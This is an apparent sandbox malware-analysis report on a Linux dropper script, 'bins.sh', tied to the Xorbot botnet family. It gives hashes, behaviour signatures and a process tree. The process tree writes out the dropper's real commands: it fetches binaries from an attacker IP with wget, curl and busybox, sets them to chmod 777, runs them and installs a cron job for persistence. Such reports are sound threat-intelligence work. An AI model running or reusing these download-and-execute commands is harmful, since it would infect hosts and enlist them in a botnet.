Analysis
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max time kernel
149s -
max time network
150s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
05/12/2024, 05:11
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
08443003e438fc12a91edb3195871828
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SHA1
b293d04952172f27c42190fec5fb176eb285e6ac
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SHA256
ddb93708573a4f419ebd47aef1cc9fb789831e94c1e2df6a83c6cc917b3c354b
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SHA512
5748af7ce94e106e548536f7eb2d17300728a31da9d1ea1966f02a5956443ec25ccafe478fdd7fbf6d468a79e55c5dc936b0aecac3e43becb7a11b56f362bb02
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SSDEEP
192:f5JZiwxYgdBbjfh0UxkkcpYsS2G8dZJAYKLTuFt14EQFt14EdQ5JZiwxV2Fjfh0u:f5JZiGYgdBXFhTC5JZiGV2ku
Malware Config
Signatures
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resource yara_rule behavioral1/files/fstream-1.dat family_xorbot behavioral1/files/fstream-3.dat family_xorbot behavioral1/files/fstream-5.dat family_xorbot behavioral1/files/fstream-7.dat family_xorbot -
Xorbot family
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File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1503 chmod 1510 chmod 1517 chmod 1524 chmod -
Executes dropped EXE 4 IoCs
ioc pid Process /tmp/rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r 1504 rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r /tmp/reedueYnlu1VZayzcEOwtqkdRkczSq3Mws 1511 reedueYnlu1VZayzcEOwtqkdRkczSq3Mws /tmp/FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx 1518 FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx /tmp/wgUTITEayKKDeOIA9aEogost8GNsTjKG4J 1525 wgUTITEayKKDeOIA9aEogost8GNsTjKG4J -
Renames itself 1 IoCs
pid Process 1526 wgUTITEayKKDeOIA9aEogost8GNsTjKG4J -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.pyx8gd crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/242/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1305/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1181/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/34/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/165/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/182/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/495/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/641/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1123/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1184/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1345/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/4/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/81/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/89/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/171/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/633/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1090/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1482/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/23/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/477/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/953/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1298/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1321/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/2/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/14/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/457/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/499/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1176/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1193/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/518/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/608/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/17/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/31/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/80/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/177/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/322/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/490/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/680/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/957/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/79/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/85/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/170/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/176/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/179/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1336/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1149/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1288/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/166/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/710/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1190/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1252/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1268/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/7/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/36/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/82/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/496/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1099/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1163/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1086/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/1484/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/21/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/25/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J File opened for reading /proc/164/cmdline wgUTITEayKKDeOIA9aEogost8GNsTjKG4J -
Writes file to tmp directory 12 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx curl File opened for modification /tmp/wgUTITEayKKDeOIA9aEogost8GNsTjKG4J wget File opened for modification /tmp/rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r busybox File opened for modification /tmp/reedueYnlu1VZayzcEOwtqkdRkczSq3Mws wget File opened for modification /tmp/reedueYnlu1VZayzcEOwtqkdRkczSq3Mws curl File opened for modification /tmp/reedueYnlu1VZayzcEOwtqkdRkczSq3Mws busybox File opened for modification /tmp/FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx wget File opened for modification /tmp/FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx busybox File opened for modification /tmp/rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r wget File opened for modification /tmp/rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r curl File opened for modification /tmp/wgUTITEayKKDeOIA9aEogost8GNsTjKG4J curl File opened for modification /tmp/wgUTITEayKKDeOIA9aEogost8GNsTjKG4J busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:1484
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/bin/rm/bin/rm bins.sh2⤵PID:1487
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/usr/bin/wgetwget http://216.126.231.240/bins/rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r2⤵
- Writes file to tmp directory
PID:1489
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/usr/bin/curlcurl -O http://216.126.231.240/bins/rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r2⤵
- Writes file to tmp directory
PID:1500
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r2⤵
- Writes file to tmp directory
PID:1501
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/bin/chmodchmod 777 rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r2⤵
- File and Directory Permissions Modification
PID:1503
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/tmp/rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r./rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r2⤵
- Executes dropped EXE
PID:1504
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/bin/rmrm rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r2⤵PID:1506
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/usr/bin/wgetwget http://216.126.231.240/bins/reedueYnlu1VZayzcEOwtqkdRkczSq3Mws2⤵
- Writes file to tmp directory
PID:1507
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/usr/bin/curlcurl -O http://216.126.231.240/bins/reedueYnlu1VZayzcEOwtqkdRkczSq3Mws2⤵
- Writes file to tmp directory
PID:1508
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/reedueYnlu1VZayzcEOwtqkdRkczSq3Mws2⤵
- Writes file to tmp directory
PID:1509
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/bin/chmodchmod 777 reedueYnlu1VZayzcEOwtqkdRkczSq3Mws2⤵
- File and Directory Permissions Modification
PID:1510
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/tmp/reedueYnlu1VZayzcEOwtqkdRkczSq3Mws./reedueYnlu1VZayzcEOwtqkdRkczSq3Mws2⤵
- Executes dropped EXE
PID:1511
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/bin/rmrm reedueYnlu1VZayzcEOwtqkdRkczSq3Mws2⤵PID:1513
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/usr/bin/wgetwget http://216.126.231.240/bins/FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx2⤵
- Writes file to tmp directory
PID:1514
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/usr/bin/curlcurl -O http://216.126.231.240/bins/FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx2⤵
- Writes file to tmp directory
PID:1515
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx2⤵
- Writes file to tmp directory
PID:1516
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/bin/chmodchmod 777 FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx2⤵
- File and Directory Permissions Modification
PID:1517
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/tmp/FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx./FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx2⤵
- Executes dropped EXE
PID:1518
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/bin/rmrm FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx2⤵PID:1520
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/usr/bin/wgetwget http://216.126.231.240/bins/wgUTITEayKKDeOIA9aEogost8GNsTjKG4J2⤵
- Writes file to tmp directory
PID:1521
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/usr/bin/curlcurl -O http://216.126.231.240/bins/wgUTITEayKKDeOIA9aEogost8GNsTjKG4J2⤵
- Writes file to tmp directory
PID:1522
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/wgUTITEayKKDeOIA9aEogost8GNsTjKG4J2⤵
- Writes file to tmp directory
PID:1523
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/bin/chmodchmod 777 wgUTITEayKKDeOIA9aEogost8GNsTjKG4J2⤵
- File and Directory Permissions Modification
PID:1524
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/tmp/wgUTITEayKKDeOIA9aEogost8GNsTjKG4J./wgUTITEayKKDeOIA9aEogost8GNsTjKG4J2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1525 -
/bin/shsh -c "crontab -l"3⤵PID:1527
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/usr/bin/crontabcrontab -l4⤵PID:1528
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/bin/shsh -c "crontab -"3⤵PID:1529
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1530
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/bin/rmrm wgUTITEayKKDeOIA9aEogost8GNsTjKG4J2⤵PID:1532
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/usr/bin/wgetwget http://216.126.231.240/bins/VuSxxZDVQWVxhcj720IA2IUMkf60DGlHG22⤵PID:1535
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
117KB
MD5849fa04ef88a8e8de32cb2e8538de5fe
SHA1c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA2568bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
SHA5122d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
111KB
MD5ca897a38f23ec23521ce0b1b83f8422d
SHA1b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA256043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
SHA51210d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
210B
MD52fea772993b331d21d9630e18a5b127a
SHA1b0a8f2359e67668ce04fa86dc37ef6846e6a9cbb
SHA2568c02d5c127d0f2d05883874ea662b359ee394055de3606b07fd03bd8a6c2f012
SHA51295b7fa177faaa2f5dadd656b3a636395531eae199fe30022223f1807f9fd569ef37f3b84fa7bdb249520a68c61cb4215ec8f2d25d70071019ea49e333c714b80